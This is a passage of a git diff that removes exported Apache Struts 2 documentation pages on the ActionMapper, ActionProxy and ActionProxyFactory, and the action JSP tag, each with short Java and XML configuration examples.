-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/action-mapper-action-mapping.html b/content/docs/action-mapper-action-mapping.html
deleted file mode 100644
index 4ddf1be..0000000
--- a/content/docs/action-mapper-action-mapping.html
+++ /dev/null
@@ -1,179 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Action Mapper & Action Mapping</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="action-mapper-action-mapping.html">Action Mapper & Action Mapping</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Action Mapper & Action Mapping</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27473">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27473">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27473">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27473">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27473">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27473">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The ActionMapper fetches the ActionMapping object corresponding to a given request. Essentially, the ActionMapping is a data transfer object that collects together details such as the Action class and method to execute. The mapping is utilized by the Dispatcher and various user interface components. It is customizable through <code>struts.mapper.class</code> entry in <code>struts.properties</code>.</p>
-
-<h2 id="ActionMapper&amp;ActionMapping-Customize">Customize</h2>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Custom ActionMapper must implement ActionMapper interface and have a default constructor.</p></div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-struts.mapper.class=foo.bar.MyCustomActionMapper
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MyCustomActionMapper implements ActionMapper {
-  public ActionMapping getMapping(HttpServletRequest request, 
-                                  ConfigurationManager configManager) {
-    ....
-  }
-
-  public String getUriFromActionMapping(ActionMapping mapping) { 
-    ....
-  }
-}
-</pre>
-</div></div>
-
-<h2 id="ActionMapper&amp;ActionMapping-Next:">Next: <a shape="rect" href="action-proxy-actionproxy-factory.html">Action Proxy &amp; ActionProxy Factory</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/action-proxy-actionproxy-factory.html b/content/docs/action-proxy-actionproxy-factory.html
deleted file mode 100644
index 4ece7ab..0000000
--- a/content/docs/action-proxy-actionproxy-factory.html
+++ /dev/null
@@ -1,220 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Action Proxy & ActionProxy Factory</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="action-proxy-actionproxy-factory.html">Action Proxy & ActionProxy Factory</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Action Proxy & ActionProxy Factory</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27474">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27474">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27474">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27474">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27474">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27474">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The ActionProxy obtains the Action class and calls the appropriate method. By default, Actions are obtained through local instantiation, but an Action could also be obtained remotely if an alternative ActionProxy were provided.</p>
-
-<p>An alternative ActionProxy can be configured through ActionProxyFactory. Typically, an ActionProxy will utilize the ActionInvocation to encapsulate the execution of a particular request.</p>
-
-<p>The ActionInvocation determines how an Action is handled: Is it being intercepted?  Is there a PreResultListener acting on it?</p>
-
-<p>Essentially, ActionProxy encapsulates how an Action can be obtained. ActionInvocation encapsulates how the Action is executed when a request is invoked.</p>
-
-<h2 id="ActionProxy&amp;ActionProxyFactory-Customization">Customization</h2>
-
-
-<h3 id="ActionProxy&amp;ActionProxyFactory-ActionProxyFactory">ActionProxyFactory</h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
- ActionProxyFactory.setFactory(new MyActionProxyFactory() {
-
-    // Do something interesting...
-
- });
-</pre>
-</div></div>
-
-<h3 id="ActionProxy&amp;ActionProxyFactory-ActionProxy">ActionProxy</h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
- ActionProxyFactory.getFactory(new MyActionProxyFactory() {
-    ....
-    public ActionProxy createActionProxy(Configuration config,
-           String namespace, String actionName, Map extraContext)
-           throws Exception {
-        createActionProxy(config, namespace, actionName, extraContext, true);
-    }
-    public ActionProxy createActionProxy(Configuration config,
-           String namespace, String actionName, Map extraContext,
-           boolean executeResult, boolean cleanupContext)
-           throws Exception {
-        ....
-   }
-   ....
- });
-</pre>
-</div></div>
-
-<h3 id="ActionProxy&amp;ActionProxyFactory-ActionInvocation">ActionInvocation</h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
- ActionProxyFactory.getFactory(new MyActionProxyFactory() {
-    ...
-    public ActionInvocation createActionInvocation(ActionProxy actionProxy)
-                            throws Exception {
-          createActionInvocation(actionProxy, new LinkedHashMap());
-    }
-    public ActionInvocation createActionInvocation(ActionProxy actionProxy,
-                            Map extraContext) throws Exception {
-          createActionInvocation(actionProxy, extraContext, true);
-    }
-    public ActionInvocation createActionInvocation(ActionProxy actionProxy,
-                            Map extraContext, boolean pushAction)
-                            throws Exception {
-          // Do implementation of ActionInvocation here
-          .....
-    }
-    ...
- });
-</pre>
-</div></div>
-
-
-<h2 id="ActionProxy&amp;ActionProxyFactory-Next:">Next: <a shape="rect" href="configuration-provider-configuration.html">Configuration Provider &amp; Configuration</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/action.html b/content/docs/action.html
deleted file mode 100644
index 979ae59..0000000
--- a/content/docs/action.html
+++ /dev/null
@@ -1,228 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>action</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="action.html">action</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">action</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14034">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14034">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14034">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14034">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14034">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14034">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="action-Description">Description</h2>
-
-<p></p><p>This tag enables developers to call actions directly from a JSP page by specifying the action name and an optional
-namespace.  The body content of the tag is used to render the results from the Action.  Any result processor defined
-for this action in struts.xml will be ignored, <i>unless</i> the executeResult parameter is specified.</p>
-
-<p>Parameters can be passed to the action using nested <a shape="rect" href="param.html">param</a> tags.</p>
-
-<h2 id="action-Placementincontext">Placement in context</h2>
-<p>The action will not be published to the context until the whole tag is evaluated, meaning that inside the body of the tag, the action cannot be accessed, For example:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">
-&lt;s:action var="myAction" name="MyAction" namespace="/"&gt;
-    Is "myAction" null inside the tag? &lt;s:property value="#myAction == null" /&gt;
-&lt;/s:action&gt;
-    Is "myAction" null outside the tag? &lt;s:property value="#myAction == null" /&gt;
-</pre>
-</div></div>
-
-<p>Will print:<br clear="none">
-Is "myAction" null inside the tag? true<br clear="none">
-Is "myAction" null outside the tag? false</p>
-
-<h2 id="action-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="action-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-public class ActionTagAction extends ActionSupport {
-
- public String execute() throws Exception {
-     return &quot;done&quot;;
- }
-
- public String doDefault() throws Exception {
-     ServletActionContext.getRequest().setAttribute(&quot;stringByAction&quot;, &quot;This is a String put in by the action&#39;s doDefault()&quot;);
-     return &quot;done&quot;;
- }
-}
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;xwork&gt;
-   ....
-  &lt;action name=&quot;actionTagAction1&quot; class=&quot;tmjee.testing.ActionTagAction&quot;&gt;
-      &lt;result name=&quot;done&quot;&gt;success.jsp&lt;/result&gt;
-  &lt;/action&gt;
-   &lt;action name=&quot;actionTagAction2&quot; class=&quot;tmjee.testing.ActionTagAction&quot; method=&quot;default&quot;&gt;
-      &lt;result name=&quot;done&quot;&gt;success.jsp&lt;/result&gt;
-  &lt;/action&gt;
-   ....
-&lt;/xwork&gt;
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;span&gt;The following action tag will execute result and include it in this page&lt;/span&gt;
-&lt;br&gt;
-&lt;s:action name=&quot;actionTagAction&quot; executeResult=&quot;true&quot; /&gt;
-&lt;br&gt;
-&lt;span&gt;The following action tag will do the same as above, but invokes method specialMethod in action&lt;/span&gt;
-&lt;br&gt;
-&lt;s:action name=&quot;actionTagAction!specialMethod&quot; executeResult=&quot;true&quot; /&gt;
-&lt;br&gt;
-&lt;span&gt;The following action tag will not execute result, but put a String in request scope
-     under an id &quot;stringByAction&quot; which will be retrieved using property tag&lt;/span&gt;
-&lt;s:action name=&quot;actionTagAction!default&quot; executeResult=&quot;false&quot; /&gt;
-&lt;s:property value=&quot;#attr.stringByAction&quot; /&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/actionerror.html b/content/docs/actionerror.html
deleted file mode 100644
index ead91d5..0000000
--- a/content/docs/actionerror.html
+++ /dev/null
@@ -1,175 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
